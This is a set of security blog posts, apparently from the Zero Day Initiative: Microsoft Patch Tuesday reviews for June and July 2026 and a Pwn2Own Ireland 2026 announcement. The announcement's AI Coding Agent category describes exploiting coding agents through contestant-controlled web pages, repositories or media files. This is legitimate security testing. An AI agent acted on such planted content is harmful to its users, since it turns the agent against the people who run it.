CVE-2026-45606	Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability	Important	5.5	No	No	2	DoS
CVE-2026-45482	Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability	Important	8.4	No	No	2	SFB
CVE-2026-45466	Microsoft Word Information Disclosure Vulnerability	Important	3.3	No	No	3	Info
CVE-2026-45471	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45486	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45643	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45457	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-42980	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-42916	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45649	Office for Android Spoofing Vulnerability	Important	7.1	No	No	3	Spoofing
CVE-2026-47653	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	3	RCE
CVE-2026-42909	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42913	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42993	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45588	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48568	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48570	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48573	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48575	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48576	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48578	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45654	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45656	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-8863	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-40376	Visual Studio Code Elevation of Privilege Vulnerability	Important	7.5	No	No	2	EoP
CVE-2026-47281	Visual Studio Code Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-47284	Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47292	Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-48569	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	2	SFB
CVE-2026-47287	Visual Studio Code Tampering Vulnerability	Important	6.5	No	No	2	Tampering
CVE-2026-42829	Windows Administrator Protection Secure Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-34335	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45601	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45598	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45596	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45638	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45603	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42911	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45594	Windows Application Identity (AppID) Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45655	Windows BitLocker Security Feature Bypass Vulnerability	Important	5.3	No	No	2	SFB
CVE-2026-45658	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.8	No	No	1	SFB
CVE-2026-45640	Windows Bluetooth Port Driver Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45605	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-47656	Windows Boot Manager Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-44809	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45634	Windows DHCP Client Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-45608	Windows DHCP Client Information Disclosure Vulnerability	Important	6.8	No	No	3	Info
CVE-2026-41108	Windows DNS Client Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42905	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-44811	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44808	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44807	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42983	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44802	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44813	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44804	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-48566	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-44814	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45602	Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability	Important	9.1	No	No	2	Tampering
CVE-2026-42836	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42910	Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42972	Windows Hyper-V Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45592	Windows Internet (wininet.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42903	Windows Kerberos Denial of Service Vulnerability	Important	6.5	No	No	3	DoS
CVE-2026-42914	Windows Kerberos Denial of Service Vulnerability	Important	5.3	No	No	2	DoS
CVE-2026-48583	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45653	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42984	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45600	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45604	Windows Managed Installer Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45595	Windows Mark of the Web Security Feature Bypass Vulnerability	Important	5.4	No	No	2	SFB
CVE-2026-45636	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-50508	Windows NTLM Spoofing Vulnerability	Important	6.5	No	No	1	Spoofing
CVE-2026-48565	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44805	Windows Network Controller (NC) Host Agent Denial of Service Vulnerability	Important	5.5	No	No	3	DoS
CVE-2026-42981	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-42974	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45487	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42828	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42837	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42969	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-42971	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42970	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42973	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42978	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42977	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42979	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42991	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45639	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-42908	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-45593	Windows SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42906	Windows Shell Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42907	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47648	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42915	Windows TCP/IP Denial of Service Vulnerability	Important	5.7	No	No	2	DoS
CVE-2026-42904	Windows TCP/IP Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-42968	Windows Telephony Server Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42912	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45597	Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45599	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45635	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-40409	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-40404	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42989	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Pwn2Own Ireland 2026 – New Targets and Categories

Sat, 25 Jul 2026 19:02:51 +0200

If you just want to read the rules, you can find them here.

Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).

As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at pwn2own@trendmicro.com (note the address). We will be happy to address your issues or concerns directly.

Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules thoroughly to ensure you meet all the requirements.

Now on to this year’s target categories. We’ll have seven different categories for this year’s event:

-- Mobile Phones
-- Smart Home Devices
-- Wellness
-- Printers
-- Messaging
-- AI Infrastructure
-- AI Coding Agents

Let’s take a look at each category in more detail, starting with mobile phones.

The Target Phones

Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.

Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:

Back to top

Smart Home Devices

As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

Back to top

Wellness Category

This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

Back to top

Rage Against the Printers

Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets.

Back to top

The Messaging Category

We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:

Back to top

AI Infrastructure Category

We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:

Back to top

AI Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

Back to top

Master of Pwn

No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2027).

For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.

The Complete Details

The full set of rules for Pwn2Own Ireland 2026 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.

The Results

We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at @thezdi and @trendaisecurity, and keep an eye on the #P2OIreland hashtag for continuing coverage.

We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.

©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

The July 2026 Security Update Review

Sat, 25 Jul 2026 19:02:51 +0200

Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2026

Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.

For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-82	Adobe ColdFusion	13	Critical	9.9	No	1
APSB26-73	Adobe Commerce	13	Critical	9.6	No	2
APSB26-78	Adobe After Effects	3	Critical	7.8	No	3
APSB26-83	Adobe Animate	6	Critical	8.6	No	3
APSB26-71	Adobe Audition	6	Critical	7.8	No	3
APSB26-81	Adobe Bridge	6	Critical	7.8	No	3
APSB26-77	Adobe Creative Cloud Desktop Application	2	Critical	8.1	No	3
APSB26-74	Adobe Experience Manager	13	Critical	9.6	No	3
APSB26-79	Adobe Illustrator	5	Critical	9.3	No	3
APSB26-72	Adobe Media Encoder	5	Critical	7.8	No	3
APSB26-76	Adobe Premiere Pro	4	Critical	7.8	No	3
APSB26-80	Content Credentials SDK	12	Critical	8.2	No	3
TOTAL	12 bulletins	88

While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here.

Microsoft Patches for July 2026

Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.

The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.

So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.

- CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.

- CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.

- CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.

- CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly.

- CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there.

- CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.

- CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.

- CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.

- CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.

Here’s the full list of CVEs released by Microsoft for July 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Moderate	5.3	No	Yes	EoP
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.1	Yes	No	SFB
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-45499 **	Azure OpenAI Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41106 **	Microsoft 365 Copilot Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-26145 **	Microsoft Azure Synapse Elevation of Privilege Vulnerability	Critical	4.8	No	No	EoP
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
